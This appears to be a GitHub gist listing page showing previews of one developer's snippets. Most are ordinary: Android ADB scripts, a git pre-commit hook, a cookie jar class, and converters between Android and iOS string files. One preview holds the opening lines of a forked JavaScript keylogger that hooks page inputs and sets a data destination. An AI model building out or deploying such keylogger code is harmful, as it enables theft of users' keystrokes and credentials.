Skip to content

Instantly share code, notes, and snippets.

View JeppeLeth's full-sized avatar

Jeppe Leth JeppeLeth

View GitHub Profile
@JeppeLeth
JeppeLeth / android_demo_mode.sh
Created August 10, 2017 06:36
Android Demo mode activation using ADB
#!/bin/sh
CMD=$1
if [[ $ADB == "" ]]; then
ADB=adb
fi
if [[ $CMD != "on" && $CMD != "off" ]]; then
echo "Usage: $0 [on|off] [hhmm]" >&2
exit
@JeppeLeth
JeppeLeth / pre-commit.sh
Created March 5, 2016 21:03 — forked from johnjohndoe/pre-commit.sh
Git pre-commit hook to add a new line at the end of a file and remove trailing whitespaces
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# Usage:
# Remove the .sh file extension when you put the script in your hooks folder!
#
@JeppeLeth
JeppeLeth / keylogger.js
Created November 15, 2015 14:05 — forked from 06b/keylogger.js
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
@JeppeLeth
JeppeLeth / keybase.md
Last active October 10, 2017 19:03
Letbane proof

Keybase proof

I hereby claim:

  • I am jeppeleth on github.
  • I am jeppeleth (https://keybase.io/jeppeleth) on keybase.
  • I have a public key ASA6DAMkGUk4G0wq8agDWO5JW5qxOJV9vfGgkGtW3gdtHwo

To claim this, I am signing this object:

@JeppeLeth
JeppeLeth / JavaNetCookieJar
Created September 11, 2017 08:13
JavaNetCookie - A cookie jar that delegates to a java.net.CookieHandler
/**
* A cookie jar that delegates to a {@link java.net.CookieHandler}.
* Copied from https://github.com/square/okhttp/blob/master/okhttp-urlconnection/src/main/java/okhttp3/JavaNetCookieJar.java
*/
public class JavaNetCookieJar implements CookieJar {
private final CookieHandler cookieHandler;
public JavaNetCookieJar(CookieHandler cookieHandler) {
this.cookieHandler = cookieHandler;
}
@JeppeLeth
JeppeLeth / fix_strings.md
Created June 9, 2017 07:01 — forked from Superbil/fix_strings.md
Fix *.strings can't diff in git
@JeppeLeth
JeppeLeth / clear-android-things-apps.sh
Created April 18, 2017 18:28 — forked from blundell/clear-android-things-apps.sh
Uninstall all apps on an Android Device that have the intent-filter category IOT_LAUNCHER
#!/bin/bash
sp="/-\|"
sc=0
spin() {
printf "\b${sp:sc++:1}"
((sc==${#sp})) && sc=0
}
endspin() {
printf "\r"
}
@JeppeLeth
JeppeLeth / LocalizeStringsFromAndroid.rb
Created April 15, 2017 09:24 — forked from ebaker355/LocalizeStringsFromAndroid.rb
Translate Android strings.xml files to iOS Localizable.strings files
#!/usr/bin/env ruby
# gist: https://gist.github.com/3217498
# This script can be called from an Xcode 'Run Script' build phase at the
# beginning of the build process, like this:
#
# ${PROJECT_DIR}/LocalizeStringsFromAndroid.rb ${PROJECT_NAME}
#
# This script should be placed in the same directory as your .xcodeproj
@JeppeLeth
JeppeLeth / convertLocalizable.rb
Created April 15, 2017 09:03 — forked from florianmski/convertLocalizable.rb
Convert your Localizable.strings (iOS) to strings.xml (Android)
#!/usr/bin/ruby
# based on https://github.com/tmurakam/cashflow/blob/0a01ac9e0350dfb04979986444244f8daf4cb5a8/android/convertStrings.rb
# support comments and Converter such as "%@", "%d", "%0.1f"...
# in your directory : ./main.rb Localizable.strings
file = File.open("strings.xml", "w");
file.puts "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
file.puts "<resources>"
@JeppeLeth
JeppeLeth / gist:224e75abe56160a1f0e31ede0b807804
Last active April 15, 2017 07:56 — forked from paour/gist:11291062
Android String Weblate, Replacing values in arrays.xml with @string/ links
#! /usr/bin/python
import argparse
import os.path
import glob
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description='''\
Replacing values in arrays.xml with @string/ links. Generates three new files for each locale: